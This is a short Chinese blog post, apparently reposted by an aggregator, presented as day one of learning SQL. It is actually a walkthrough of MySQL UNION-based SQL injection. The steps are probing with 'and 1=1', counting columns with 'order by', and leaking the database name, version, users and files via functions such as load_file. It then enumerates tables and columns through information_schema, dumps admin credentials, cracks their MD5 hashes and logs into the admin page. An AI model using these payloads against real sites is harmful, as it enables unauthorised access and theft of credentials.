SQL学习第一天
Posted 无情之结
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL学习第一天相关的知识,希望对你有一定的参考价值。
and 1=1 正常 and 1=2 报错 说明存在注入
order by 99 判断字段长度 如:18返回正确 19返回错误即字段长度为18
让前面报错可以让id为负也可以and 1=2 等等 如果屏蔽了and可以使用or判断是否有注入
然后往后加上union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 [from information_schema.tables] 可以爆出注入点
爆出的数可以填一些函数可以找到我们想要的信息[数据库名称,版本,用户名等],
system_user()系统用户名,user()用户名,current_user当前用户名,session_user()连接数据库的用户名,database()数据库名,version()mysql数据库版本,load_file() 转成16进制或者是10进制MYSQL读取本地文件的函数,@@datadir读取数据库路径,@@basedirMySQL安装路径,@@version_compile_os操作系统
下一步获取数据库中的表,通过group_concat(table_name)函数
后面加上from information_schama.tables where table_schema=数据库名称对应的16进[可以用database()函数顶替]
admin manage user admin_user root member 这些是常见的管理员所在表
获取字段名:
通过group_concat(column_name)
后面加上from information_schama.columns where table_name=表名对应的16进制数或者[\'表名\']
group_concat(列名1,0x5c[这个是一个反斜杠转义字符],列名2) from 后跟表名
可以查到表中需要的数据然后可以得到我们需要的资料,再去找admin登录页面登录,若需要cmd5加密破解就先破解
以上是关于SQL学习第一天的主要内容,如果未能解决你的问题,请参考以下文章
《Python打卡学数据库的第一天》快来跟着小编从零开始学习Redis数据库吧~